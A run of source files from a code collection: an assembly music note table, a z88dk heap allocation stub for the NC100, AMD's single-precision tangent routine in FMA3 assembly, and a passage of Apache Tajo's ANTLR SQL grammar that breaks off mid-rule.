.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte D_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte C_+O6, A_+O4
.byte C_+O6, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O5, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte A_+O5, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte A_+O5, quiet
.byte quiet, quiet
.byte C_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte As+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O5, F_+O5
.byte quiet, F_+O5
.byte G_+O5, As+O3
.byte quiet, As+O3
.byte As+O3, quiet
.byte As+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, As+O3
.byte quiet, As+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, As+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte C_+O6, As+O3
.byte quiet, As+O3
.byte As+O3, As+O3
.byte quiet, As+O3
.byte D_+O6, D_+O3
.byte quiet, D_+O3
.byte C_+O4, D_+O3
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, A_+O4
.byte D_+O6, quiet
.byte quiet, quiet
.byte C_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte D_+O3, quiet
.byte D_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte A_+O4, D_+O3
.byte A_+O4, D_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte quiet, C_+O5
.byte A_+O4, quiet
.byte quiet, quiet
.byte F_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte quiet, D_+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte C_+O6, A_+O4
.byte C_+O6, A_+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte A_+O5, quiet
.byte quiet, quiet
.byte G_+O5, D_+O3
.byte quiet, D_+O3
.byte C_+O5, quiet
.byte quiet, quiet
.byte A_+O5, As+O3
.byte quiet, As+O3
.byte F_+O5, As+O3
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte A_+O5, quiet
.byte quiet, quiet
.byte C_+O5, As+O3
.byte quiet, As+O3
.byte As+O4, quiet
.byte quiet, quiet
.byte F_+O5, F_+O5
.byte quiet, F_+O5
.byte C_+O5, quiet
.byte quiet, quiet
.byte As+O3, As+O3
.byte quiet, As+O3
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte As+O5, G_+O5
.byte quiet, G_+O5
.byte A_+O5, F_+O5
.byte quiet, F_+O5
.byte G_+O5, As+O3
.byte quiet, As+O3
.byte As+O3, quiet
.byte As+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O5, quiet
.byte quiet, quiet
.byte As+O4, As+O3
.byte As+O4, As+O3
.byte quiet, quiet
.byte quiet, quiet
.byte C_+O5, C_+O5
.byte C_+O5, C_+O5
.byte As+O4, quiet
.byte As+O4, quiet
.byte F_+O5, As+O3
.byte F_+O5, As+O3
.byte C_+O5, quiet
.byte C_+O5, quiet
.byte As+O3, As+O3
.byte As+O3, As+O3
.byte F_+O5, quiet
.byte F_+O5, quiet
.byte As+O4, As+O4
.byte As+O4, As+O4
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O5, As+O3
.byte G_+O5, As+O3
.byte As+O4, quiet
.byte As+O4, quiet
.byte C_+O6, As+O3
.byte C_+O6, As+O3
.byte As+O3, As+O3
.byte As+O3, As+O3
.byte D_+O5, G_+O3
.byte D_+O5, G_+O3
.byte G_+O4, G_+O4
.byte G_+O4, G_+O4
.byte Gs+O4, A_+O4
.byte D_+O5, A_+O4
.byte A_+O4, A_+O4
.byte G_+O4, A_+O4
.byte C_+O5, G_+O3
.byte Gs+O4, G_+O3
.byte F_+O5, F_+O5
.byte A_+O4, F_+O5
.byte Gs+O5, Gs+O5
.byte C_+O5, Gs+O5
.byte A_+O5, A_+O5
.byte F_+O5, A_+O5
.byte G_+O5, G_+O3
.byte Gs+O5, G_+O3
.byte D_+O6, D_+O6
.byte A_+O5, D_+O6
.byte C_+O6, G_+O3
.byte G_+O5, G_+O3
.byte A_+O5, A_+O5
.byte D_+O6, A_+O5
.byte F_+O6, F_+O6
.byte C_+O6, F_+O6
.byte C_+O6, C_+O6
.byte A_+O5, C_+O6
.byte D_+O6, G_+O3
.byte F_+O6, G_+O3
.byte A_+O5, A_+O5
.byte C_+O6, A_+O5
.byte Gs+O5, Gs+O5
.byte D_+O6, Gs+O5
.byte G_+O5, G_+O5
.byte A_+O5, G_+O5
.byte F_+O5, G_+O3
.byte Gs+O5, G_+O3
.byte D_+O5, D_+O5
.byte G_+O5, D_+O5
.byte Cs+O5, Cs+O5
.byte F_+O5, Cs+O5
.byte C_+O5, C_+O5
.byte D_+O5, C_+O5
.byte A_+O4, G_+O3
.byte Cs+O5, G_+O3
.byte G_+O4, G_+O4
.byte C_+O5, G_+O4
.byte Gs+O4, G_+O3
.byte A_+O4, G_+O3
.byte F_+O4, F_+O4
.byte G_+O4, F_+O4
.byte G_+O4, G_+O4
.byte Gs+O4, G_+O4
.byte D_+O4, D_+O4
.byte F_+O4, D_+O4
.byte F_+O4, G_+O3
.byte G_+O4, G_+O3
.byte G_+O4, G_+O4
.byte D_+O4, G_+O4
.byte Gs+O4, G_+O3
.byte F_+O4, G_+O3
.byte F_+O4, F_+O4
.byte G_+O4, F_+O4
.byte G_+O5, A_+O3
.byte Gs+O4, A_+O3
.byte D_+O5, D_+O5
.byte F_+O4, D_+O5
.byte Gs+O5, Gs+O5
.byte G_+O5, Gs+O5
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte A_+O5, A_+O3
.byte Gs+O5, A_+O3
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte C_+O6, C_+O6
.byte A_+O5, C_+O6
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte Cs+O6, A_+O3
.byte C_+O6, A_+O3
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte D_+O6, D_+O6
.byte Cs+O6, D_+O6
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte F_+O6, F_+O6
.byte D_+O6, F_+O6
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte G_+O6, A_+O3
.byte F_+O6, A_+O3
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte Gs+O6, Gs+O6
.byte G_+O6, Gs+O6
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte A_+O6, A_+O3
.byte Gs+O6, A_+O3
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte C_+O7, C_+O7
.byte A_+O6, C_+O7
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte Cs+O7, A_+O3
.byte C_+O7, A_+O3
.byte D_+O5, D_+O5
.byte D_+O5, D_+O5
.byte D_+O7, A_+O3
.byte Cs+O7, A_+O3
.byte A_+O6, A_+O6
.byte D_+O5, A_+O6
.byte F_+O6, F_+O6
.byte D_+O7, F_+O6
.byte D_+O6, D_+O6
.byte A_+O6, D_+O6
.byte C_+O7, A_+O3
.byte F_+O6, A_+O3
.byte A_+O6, A_+O6
.byte D_+O6, A_+O6
.byte F_+O6, F_+O6
.byte C_+O7, F_+O6
.byte C_+O6, C_+O6
.byte A_+O6, C_+O6
.byte D_+O6, G_+O3
.byte quiet, G_+O3
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte E_+O6, E_+O6
.byte quiet, E_+O6
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte F_+O6, G_+O3
.byte quiet, G_+O3
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte G_+O6, G_+O6
.byte quiet, G_+O6
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte Gs+O6, G_+O3
.byte quiet, G_+O3
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte A_+O6, G_+O3
.byte quiet, G_+O3
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte C_+O7, C_+O7
.byte quiet, C_+O7
.byte A_+O5, A_+O5
.byte quiet, A_+O5
.byte D_+O7, G_+O3
.byte quiet, G_+O3
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte E_+O7, E_+O7
.byte quiet, E_+O7
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte C_+O7, G_+O3
.byte quiet, G_+O3
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte D_+O7, D_+O7
.byte quiet, D_+O7
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte A_+O6, G_+O3
.byte quiet, G_+O3
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte F_+O7, G_+O3
.byte quiet, G_+O3
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte G_+O6, G_+O6
.byte quiet, G_+O6
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte E_+O7, G_+O3
.byte quiet, G_+O3
.byte D_+O6, D_+O6
.byte quiet, D_+O6
.byte D_+O7, G_+O3
.byte quiet, G_+O3
.byte C_+O7, C_+O6
.byte quiet, C_+O6
.byte D_+O6, A_+O3
.byte quiet, A_+O3
.byte C_+O7, C_+O6
.byte quiet, C_+O6
.byte D_+O6, D_+O5
.byte quiet, quiet
.byte D_+O7, D_+O6
.byte quiet, quiet
.byte D_+O6, A_+O3
.byte quiet, A_+O3
.byte C_+O7, C_+O6
.byte quiet, quiet
.byte C_+O7, C_+O6
.byte quiet, quiet
.byte D_+O6, D_+O5
.byte quiet, quiet
.byte C_+O7, A_+O3
.byte quiet, A_+O3
.byte D_+O6, D_+O5
.byte quiet, quiet
.byte F_+O7, A_+O3
.byte quiet, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte D_+O7, D_+O5
.byte C_+O7, C_+O5
.byte A_+O6, A_+O4
.byte Gs+O6, Gs+O4
.byte G_+O6, G_+O4
.byte F_+O6, F_+O4
.byte D_+O6, D_+O4
.byte Cs+O6, Cs+O4
.byte C_+O6, C_+O4
.byte A_+O5, A_+O3
.byte Gs+O5, Gs+O3
.byte G_+O5, G_+O3
.byte F_+O7, F_+O7
.byte F_+O7, F_+O7
.byte E_+O7, A_+O3
.byte A_+O6, A_+O3
.byte A_+O6, A_+O6
.byte F_+O7, A_+O6
.byte E_+O7, A_+O3
.byte E_+O7, A_+O3
.byte D_+O7, D_+O7
.byte A_+O6, quiet
.byte C_+O7, C_+O7
.byte E_+O7, quiet
.byte A_+O6, A_+O6
.byte D_+O7, A_+O6
.byte F_+O6, A_+O3
.byte C_+O7, A_+O3
.byte E_+O6, E_+O6
.byte A_+O6, E_+O6
.byte C_+O6, A_+O3
.byte F_+O6, A_+O3
.byte A_+O4, A_+O5
.byte Gs+O4, Gs+O5
.byte G_+O4, G_+O5
.byte Fs+O4, Fs+O5
.byte F_+O4, F_+O5
.byte E_+O4, E_+O5
.byte Ds+O4, Ds+O5
.byte D_+O4, D_+O5
endzix .word $ffff ;signal loop
|
libsrc/target/nc100/heapalloc.asm | jpoikela/z88dk | 640 | 21756 | <filename>libsrc/target/nc100/heapalloc.asm
SECTION code_clib
PUBLIC heapalloc
PUBLIC _heapalloc
; fastcall
.heapalloc
._heapalloc
ex de, hl
jp 0xb881
|
src/isa/avx2/masm/tanf_fma3.asm | jepler/aocl-libm-ose | 66 | 29380 | ;
; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification,
; are permitted provided that the following conditions are met:
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; 3. Neither the name of the copyright holder nor the names of its contributors
; may be used to endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
include fm.inc
include trig_func.inc
FN_PROTOTYPE_FMA3 tanf
fname_special TEXTEQU <_tanf_special>
;Define name and any external functions being called
EXTERN fname_special : PROC
text SEGMENT EXECUTE
PUBLIC fname
fname PROC FRAME
StackAllocate stack_size
.ENDPROLOG
tan_early_exit_s:
VMOVD eax,xmm0
MOV r8d,L__inf_mask_32
AND eax,r8d
CMP eax, r8d
JZ tanf_naninf
VCVTSS2SD xmm5,xmm0,xmm0
VMOVQ r9,xmm5
AND r9,L__sign_mask ;clear sign
tan_early_exit_s_1:
CMP r9,L_mask_3fe
JG range_reduce
CMP r9,L_mask_3f8
JGE compute_tanf_pyby_4
CMP r9,L_mask_3f2
JGE compute_x_xxx_0_333
JMP return_tanf_c
compute_x_xxx_0_333:
VMULSD xmm2,xmm5,xmm5 ;
VMULSD xmm0,xmm2,xmm5 ; xmm6 x3
VFMADD132SD xmm0 ,xmm5,L_point_333 ; x + x*x*x*0.3333333333333333;
JMP return_tanf_s
compute_tanf_pyby_4:
VMOVSD xmm0,xmm5,xmm5
tan_piby4_sf_zeor_fma3
JMP return_tanf_s
range_reduce:
VMOVQ xmm0,r9 ; r9 x with the sign cleared
cmp r9,L_e_5
JGE tanf_remainder_piby2
;tan_range_e_5_s:
range_e_5_sf_fma3
JMP tanf_exit_s
tanf_remainder_piby2:
call_remainder_piby2_f
tanf_exit_s:
VANDPD xmm2,xmm4,XMMWORD PTR L_int_one
movd eax,xmm2
tan_piby4_sf_fma3
tanf_exit_s_1:
VANDPD xmm5,xmm5,L_signbit
VXORPD xmm0,xmm0,xmm5
return_tanf_s:
VCVTSD2SS xmm0,xmm0,xmm0
return_tanf_c:
StackDeallocate stack_size
ret
tanf_naninf:
call fname_special
StackDeallocate stack_size
ret
fname endp
TEXT ENDS
END
|
tajo-core/src/main/antlr4/org/apache/tajo/engine/parser/SQLParser.g4 | gyias/tajo | 0 | 5040 | <reponame>gyias/tajo
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
parser grammar SQLParser;
options {
language=Java;
tokenVocab=SQLLexer;
}
@header {
}
@members {
}
/*
===============================================================================
SQL statement (Start Symbol)
===============================================================================
*/
sql
: (explain_clause)? statement (SEMI_COLON)? EOF
;
explain_clause
: EXPLAIN
;
statement
: session_statement
| data_statement
| data_change_statement
| schema_statement
| index_statement
;
session_statement
: SET CATALOG dbname = identifier
| SET TIME ZONE (TO | EQUAL)? (Character_String_Literal | signed_numerical_literal | DEFAULT)
| SET (SESSION)? name=identifier (TO | EQUAL)?
(Character_String_Literal | signed_numerical_literal | boolean_literal | DEFAULT)
| RESET name=identifier
;
data_statement
: query_expression
;
data_change_statement
: insert_statement
;
schema_statement
: database_definition
| drop_database_statement
| create_table_statement
| drop_table_statement
| alter_tablespace_statement
| alter_table_statement
| truncate_table_statement
;
index_statement
: CREATE (u=UNIQUE)? INDEX n=identifier ON t=table_name (m=method_specifier)?
LEFT_PAREN s=sort_specifier_list RIGHT_PAREN p=param_clause?
;
database_definition
: CREATE DATABASE (if_not_exists)? dbname = identifier
;
if_not_exists
: IF NOT EXISTS
;
drop_database_statement
: DROP DATABASE (if_exists)? dbname = identifier
;
if_exists
: IF EXISTS
;
create_table_statement
: CREATE EXTERNAL TABLE (if_not_exists)? table_name table_elements USING storage_type=identifier
(param_clause)? (table_partitioning_clauses)? (LOCATION path=Character_String_Literal)?
| CREATE TABLE (if_not_exists)? table_name table_elements (USING storage_type=identifier)?
(param_clause)? (table_partitioning_clauses)? (AS query_expression)?
| CREATE TABLE (if_not_exists)? table_name (USING storage_type=identifier)?
(param_clause)? (table_partitioning_clauses)? AS query_expression
| CREATE TABLE (if_not_exists)? table_name LIKE like_table_name=table_name
;
table_elements
: LEFT_PAREN field_element (COMMA field_element)* RIGHT_PAREN
;
field_element
: name=identifier field_type
;
field_type
: data_type
;
param_clause
: WITH LEFT_PAREN param (COMMA param)* RIGHT_PAREN
;
param
: key=Character_String_Literal EQUAL value=numeric_value_expression
;
method_specifier
: USING m=identifier
;
table_space_specifier
: TABLESPACE table_space_name
;
table_space_name
: identifier
;
table_partitioning_clauses
: range_partitions
| hash_partitions
| list_partitions
| column_partitions
;
range_partitions
: PARTITION BY RANGE LEFT_PAREN column_reference_list RIGHT_PAREN
LEFT_PAREN range_value_clause_list RIGHT_PAREN
;
range_value_clause_list
: range_value_clause (COMMA range_value_clause)*
;
range_value_clause
: PARTITION partition_name VALUES LESS THAN (LEFT_PAREN value_expression RIGHT_PAREN | LEFT_PAREN? MAXVALUE RIGHT_PAREN?)
;
hash_partitions
: PARTITION BY HASH LEFT_PAREN column_reference_list RIGHT_PAREN
(LEFT_PAREN individual_hash_partitions RIGHT_PAREN | hash_partitions_by_quantity)
;
individual_hash_partitions
: individual_hash_partition (COMMA individual_hash_partition)*
;
individual_hash_partition
: PARTITION partition_name
;
hash_partitions_by_quantity
: PARTITIONS quantity = numeric_value_expression
;
list_partitions
: PARTITION BY LIST LEFT_PAREN column_reference_list RIGHT_PAREN LEFT_PAREN list_value_clause_list RIGHT_PAREN
;
list_value_clause_list
: list_value_partition (COMMA list_value_partition)*
;
list_value_partition
: PARTITION partition_name VALUES (IN)? LEFT_PAREN in_value_list RIGHT_PAREN
;
column_partitions
: PARTITION BY COLUMN table_elements
;
partition_name
: identifier
;
truncate_table_statement
: TRUNCATE (TABLE)? table_name (COMMA table_name)*
;
/*
===============================================================================
11.21 <data types>
===============================================================================
*/
drop_table_statement
: DROP TABLE (if_exists)? table_name (PURGE)?
;
/*
===============================================================================
5.2 <token and separator>
Specifying lexical units (tokens and separators) that participate in SQL language
===============================================================================
*/
identifier
: Regular_Identifier
| nonreserved_keywords
| Quoted_Identifier
;
nonreserved_keywords
: ADD
| AVG
| ALTER
| BETWEEN
| BY
| CATALOG
| CENTURY
| CHARACTER
| COALESCE
| COLLECT
| COLUMN
| COUNT
| CUBE
| CUME_DIST
| CURRENT
| DAY
| DEC
| DECADE
| DEFAULT
| DENSE_RANK
| DOW
| DOY
| DROP
| EPOCH
| EVERY
| EXISTS
| EXCLUDE
| EXPLAIN
| EXTERNAL
| EXTRACT
| FILTER
| FIRST
| FIRST_VALUE
| FOLLOWING
| FORMAT
| FUSION
| GROUPING
| HASH
| INDEX
| INSERT
| INTERSECTION
| ISODOW
| ISOYEAR
| LAST
| LAST_VALUE
| LESS
| LIST
| LOCATION
| MAX
| MAXVALUE
| MICROSECONDS
| MILLENNIUM
| MILLISECONDS
| MIN
| MINUTE
| MONTH
| NATIONAL
| NO
| NULLIF
| OVERWRITE
| OTHERS
| PARTITION
| PARTITIONS
| PERCENT_RANK
| PRECEDING
| PRECISION
| PURGE
| QUARTER
| RANGE
| RANK
| REGEXP
| RENAME
| RESET
| RLIKE
| ROLLUP
| ROW
| ROWS
| ROW_NUMBER
| SECOND
| SET
| SESSION
| SIMILAR
| STDDEV_POP
| STDDEV_SAMP
| SUBPARTITION
| SUM
| TABLESPACE
| THAN
| TIES
| TIMEZONE
| TIMEZONE_HOUR
| TIMEZONE_MINUTE
| TRIM
| TO
| UNBOUNDED
| UNKNOWN
| VALUES
| VAR_POP
| VAR_SAMP
| VARYING
| WEEK
| YEAR
| ZONE
| BIGINT
| BIT
| BLOB
| BOOL
| BOOLEAN
| BYTEA
| CHAR
| DATE
| DECIMAL
| DOUBLE
| FLOAT
| FLOAT4
| FLOAT8
| INET4
| INT
| INT1
| INT2
| INT4
| INT8
| INTEGER
| INTERVAL
| NCHAR
| NUMERIC
| NVARCHAR
| REAL
| SMALLINT
| TEXT
| TIME
| TIMESTAMP
| TIMESTAMPTZ
| TIMETZ
| TINYINT
| VARBINARY
| VARBIT
| VARCHAR
;
/*
===============================================================================
5.3 <literal>
===============================================================================
*/
unsigned_literal
: unsigned_numeric_literal
| general_literal
;
general_literal
: Character_String_Literal
| datetime_literal
| boolean_literal
;
datetime_literal
: timestamp_literal
| time_literal
| date_literal
| interval_literal
;
time_literal
: TIME time_string=Character_String_Literal
;
timestamp_literal
: TIMESTAMP timestamp_string=Character_String_Literal
;
date_literal
: DATE date_string=Character_String_Literal
;
interval_literal
: INTERVAL interval_string=Character_String_Literal
;
boolean_literal
: TRUE | FALSE | UNKNOWN
;
/*
===============================================================================
6.1 <data types>
===============================================================================
*/
data_type
: predefined_type
;
predefined_type
: character_string_type
| national_character_string_type
| binary_large_object_string_type
| numeric_type
| boolean_type
| datetime_type
| bit_type
| binary_type
| network_type
;
network_type
: INET4
;
character_string_type
: CHARACTER type_length?
| CHAR type_length?
| CHARACTER VARYING type_length?
| CHAR VARYING type_length?
| VARCHAR type_length?
| TEXT
;
type_length
: LEFT_PAREN NUMBER RIGHT_PAREN
;
national_character_string_type
: NATIONAL CHARACTER type_length?
| NATIONAL CHAR type_length?
| NCHAR type_length?
| NATIONAL CHARACTER VARYING type_length?
| NATIONAL CHAR VARYING type_length?
| NCHAR VARYING type_length?
| NVARCHAR type_length?
;
binary_large_object_string_type
: BLOB type_length?
| BYTEA type_length?
;
numeric_type
: exact_numeric_type | approximate_numeric_type
;
exact_numeric_type
: NUMERIC (precision_param)?
| DECIMAL (precision_param)?
| DEC (precision_param)?
| INT1
| TINYINT
| INT2
| SMALLINT
| INT4
| INT
| INTEGER
| INT8
| BIGINT
;
approximate_numeric_type
: FLOAT (precision_param)?
| FLOAT4
| REAL
| FLOAT8
| DOUBLE
| DOUBLE PRECISION
;
precision_param
: LEFT_PAREN precision=NUMBER RIGHT_PAREN
| LEFT_PAREN precision=NUMBER COMMA scale=NUMBER RIGHT_PAREN
;
boolean_type
: BOOLEAN
| BOOL
;
datetime_type
: DATE
| INTERVAL
| TIME
| TIME WITH TIME ZONE
| TIMETZ
| TIMESTAMP
| TIMESTAMP WITH TIME ZONE
| TIMESTAMPTZ
;
bit_type
: BIT type_length?
| VARBIT type_length?
| BIT VARYING type_length?
;
binary_type
: BINARY type_length?
| BINARY VARYING type_length?
| VARBINARY type_length?
;
/*
===============================================================================
6.3 <value_expression_primary>
===============================================================================
*/
value_expression_primary
: parenthesized_value_expression
| nonparenthesized_value_expression_primary
;
parenthesized_value_expression
: LEFT_PAREN value_expression RIGHT_PAREN
;
nonparenthesized_value_expression_primary
: unsigned_value_specification
| column_reference
| set_function_specification
| window_function
| scalar_subquery
| case_expression
| cast_specification
| routine_invocation
;
/*
===============================================================================
6.4 <unsigned value specification>
===============================================================================
*/
unsigned_value_specification
: unsigned_literal
;
unsigned_numeric_literal
: NUMBER
| REAL_NUMBER
;
signed_numerical_literal
: sign? unsigned_numeric_literal
;
/*
===============================================================================
6.9 <set function specification>
Invoke an SQL-invoked routine.
===============================================================================
*/
set_function_specification
: aggregate_function
;
aggregate_function
: COUNT LEFT_PAREN MULTIPLY RIGHT_PAREN
| general_set_function filter_clause?
;
general_set_function
: set_function_type LEFT_PAREN set_qualifier? value_expression RIGHT_PAREN
;
set_function_type
: AVG
| MAX
| MIN
| SUM
| EVERY
| ANY
| SOME
| COUNT
| STDDEV_POP
| STDDEV_SAMP
| VAR_SAMP
| VAR_POP
| COLLECT
| FUSION
| INTERSECTION
;
filter_clause
: FILTER LEFT_PAREN WHERE search_condition RIGHT_PAREN
;
grouping_operation
: GROUPING LEFT_PAREN column_reference_list RIGHT_PAREN
;
/*
===============================================================================
6.10 window function
===============================================================================
*/
window_function
: window_function_type OVER window_name_or_specification
;
window_function_type
: rank_function_type LEFT_PAREN RIGHT_PAREN
| ROW_NUMBER LEFT_PAREN RIGHT_PAREN
| aggregate_function
| FIRST_VALUE LEFT_PAREN column_reference RIGHT_PAREN
| LAST_VALUE LEFT_PAREN column_reference RIGHT_PAREN
;
rank_function_type
: RANK | DENSE_RANK | PERCENT_RANK | CUME_DIST
;
window_name_or_specification
: window_name
| window_specification
;
/*
===============================================================================
6.11 <case expression>
===============================================================================
*/
case_expression
: case_specification
;
case_abbreviation
: NULLIF LEFT_PAREN numeric_value_expression COMMA boolean_value_expression RIGHT_PAREN
| COALESCE LEFT_PAREN numeric_value_expression ( COMMA boolean_value_expression )+ RIGHT_PAREN
;
case_specification
: simple_case
| searched_case
;
simple_case
: CASE boolean_value_expression ( simple_when_clause )+ ( else_clause )? END
;
searched_case
: CASE (searched_when_clause)+ (else_clause)? END
;
simple_when_clause : WHEN search_condition THEN result ;
searched_when_clause
: WHEN c=search_condition THEN r=result
;
else_clause
: ELSE r=result
;
result
: value_expression | NULL
;
/*
===============================================================================
6.12 <cast specification>
===============================================================================
*/
cast_specification
: CAST LEFT_PAREN cast_operand AS cast_target RIGHT_PAREN
;
cast_operand
: value_expression
;
cast_target
: data_type
;
/*
===============================================================================
6.25 <value expression>
===============================================================================
*/
value_expression
: common_value_expression
| row_value_expression
| boolean_value_expression
;
common_value_expression
: numeric_value_expression
| string_value_expression
| datetime_value_expression
| NULL
;
/*
===============================================================================
6.26 <numeric value expression>
Specify a comparison of two row values.
===============================================================================
*/
numeric_value_expression
: left=term ((PLUS|MINUS) right=term)*
;
term
: left=factor ((MULTIPLY|DIVIDE|MODULAR) right=factor)*
;
factor
: (sign)? numeric_primary
;
array
: LEFT_PAREN numeric_value_expression (COMMA numeric_value_expression )* RIGHT_PAREN
;
numeric_primary
: value_expression_primary (CAST_EXPRESSION cast_target)*
| numeric_value_function
;
sign
: PLUS | MINUS
;
/*
===============================================================================
6.27 <numeric value function>
===============================================================================
*/
numeric_value_function
: extract_expression
;
extract_expression
: EXTRACT LEFT_PAREN extract_field_string=extract_field FROM extract_source RIGHT_PAREN
;
extract_field
: primary_datetime_field
| time_zone_field
| extended_datetime_field
;
time_zone_field
: TIMEZONE | TIMEZONE_HOUR | TIMEZONE_MINUTE
;
extract_source
: datetime_value_expression
;
/*
===============================================================================
6.28 <string value expression>
===============================================================================
*/
string_value_expression
: character_value_expression
;
character_value_expression
: character_factor (CONCATENATION_OPERATOR character_factor)*
;
character_factor
